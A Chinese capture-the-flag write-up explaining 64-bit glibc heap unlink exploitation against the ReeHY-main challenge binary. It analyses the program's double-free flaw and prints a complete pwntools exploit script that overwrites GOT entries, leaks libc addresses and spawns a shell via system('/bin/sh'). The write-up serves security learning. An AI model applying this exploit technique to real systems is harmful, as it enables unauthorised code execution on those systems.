unlink之64位下有保护措施的利用

来源:互联网 发布:六轴机械手臂编程 编辑:程序博客网 时间:2024/06/07 19:55

本文参考自
看雪CTF-ReeHY-main
堆溢出的unlink利用方法
看雪Wifi万能钥匙CTF2017第4题Writeup-double free解法

基础知识

上一篇文章我们学习了32位下无保护措施unlink的利用,但是我们也提到了glibc的各种保护措施。这一篇文章我们还是通过一个具体的例子来学习64位下有保护措施unlink的利用。希望大家先读上一篇文章,再读这一篇文章。假设找到了一个已知地址的ptr是指向p(p指向堆上的某个地方)的,通过堆溢出,我们可以做如下的修改。

p->fd=ptr-0x18p->bk=ptr-0x10

布置好如此结构后再触发unlink宏,会发生如下情况。

FD=p->fd(实际是ptr-0x18)BK=p->bk(实际是ptr-0x10)检查是否满足上文所示的限制,由于FD->bk和BK->fd均为*ptr(即p),由此可以过掉这个限制FD->bk=BKBK->fd=FD(p=ptr-0x18)

这里写图片描述
这时候再对p进行写入可以覆盖掉p原来的值,例如我们用合适的payload将free@got写入,p就变成了free@got,那么再改一次p,把free@got改为shellcode的地址或者说system的地址都可以。之后再调用free功能,就可以实现任意命令执行。

一个例子

初步分析

题目下载
程序有创建,修改和删除这几个主要功能。检查下保护,开了Partial RELRO和NX,GOT表可写。
创建
这里写图片描述
这一段代码比较多,但可以看到问题还是存在的,size和cun都可以通过输入负数强制类型转换unsigned int来溢出。
修改
这里写图片描述
内容修改对操作的chunk序号进行了检查,主要是检查了有效性标志,大小控制使用对应保存的尺寸数据。
删除
这里写图片描述
删除操作并没有检查有效性标志,还有一个问题就是chunk释放后并没有清除指针,会形成悬空指针。这种情况一般会出现的漏洞利用方式就是UAF或者double free。不止这一种解法,但是为了方便我们就以double free触发unlink利用为例进行讲解。

利用过程

#!/usr/bin/env python# encoding: utf-8from pwn import *import syscontext.log_level = "debug"def Welcome():    p.recvuntil("$ ")    p.sendline("mutepig")def Add(size,id,content):    p.recvuntil("$ ")    p.sendline("1")    p.recvuntil("size\n")    p.sendline(str(size))    p.recvuntil("cun\n")    p.sendline(str(id))    p.recvuntil("content\n")    p.sendline(content)def Remove(id):    p.recvuntil("$ ")    p.sendline("2")    p.recvuntil("dele\n")    p.sendline(str(id))def Edit(id,content):    p.recvuntil("$ ")    p.sendline("3")    p.recvuntil("edit\n")    p.sendline(str(id))    p.recvuntil("content\n")    p.send(content)if __name__ == "__main__":    #if len(sys.argv)==1:  # local    p = process("./4-ReeHY-main")    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')    #else:    #    p = remote('211.159.216.90', 51888)    #   libc = ELF('ctflibc.so.6')    #gdb.attach(proc.pidof(p)[0],"b *0x400c29\n")    #+==================INIT=====================================    elf = ELF('4-ReeHY-main')    libc_atoi = libc.symbols['atoi']    libc_system = libc.symbols['system']    libc_binsh = next(libc.search("/bin/sh"))    free_got = elf.got['free']    atoi_got = elf.got['atoi']    puts_plt = elf.plt['puts']    heap_addr = 0x602100    #+==================INIT=====================================    print hex(free_got)    Welcome()    ss=raw_input()    Add(512,0,"/bin/sh\x00")    Add(512,1,"1")    Add(512,2,"2")    Add(512,3,"3")    Remove(3)    Remove(2)    payload = p64(0) + p64(512+1) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10) + 'A'*(512-0x20) + p64(512) + p64(512)    Add(1024,2,payload)    Remove(3)    Edit(2,'1'*0x18 + p64(free_got) + p64(1) + p64(atoi_got)+ "\n")    Edit(2,p64(puts_plt))    Remove(3)    atoi_addr = u64(p.recv(8)) & 0xffffffffffff    base_addr = atoi_addr - libc_atoi    system_addr = base_addr + libc_system    log.success("system:" + hex(system_addr))    Edit(2,p64(system_addr))    Remove(0)    p.interactive()

填充payload之后的堆栈空间如下图所示。
这里写图片描述
0x6020e0至0x602110之间的数据如下图所示。
这里写图片描述
现在我们看看在Remove(3)的时候会发生什么。glibc会误以为2是空闲块,需要向后合并,于是会执行unlink操作。我们伪造的fd和bk分别是heap_addr-0x18=0x6020e8heap_addr-0x10=0x6020f0,根据前面所说,heap_addr=602100处的值会被改写成0x6020e8。
这里写图片描述
这个时候再对2进行Edit实际上修改的就是6020e8了。Edit(2,'1'*0x18 + p64(free_got) + p64(1) + p64(atoi_got)+ "\n")之后0x6020e0至0x602110之间的数据如下图所示。
这里写图片描述
这个时候再对2进行Edit实际上修改的就是addr(free)了。Edit(2,p64(puts_plt))之后addr(free)被修改为addr(puts),本来Remove(3)应该free(28690)结果执行了puts(atoi),泄漏了atoi函数的地址从而得到system函数的地址, Edit(2,p64(system_addr))之后addr(free)被修改为addr(system),本来Remove(0)应该free(28060)结果执行了system(28060)也就是system("/bin/sh"),从而使我们拿到了shell权限。

原创粉丝点击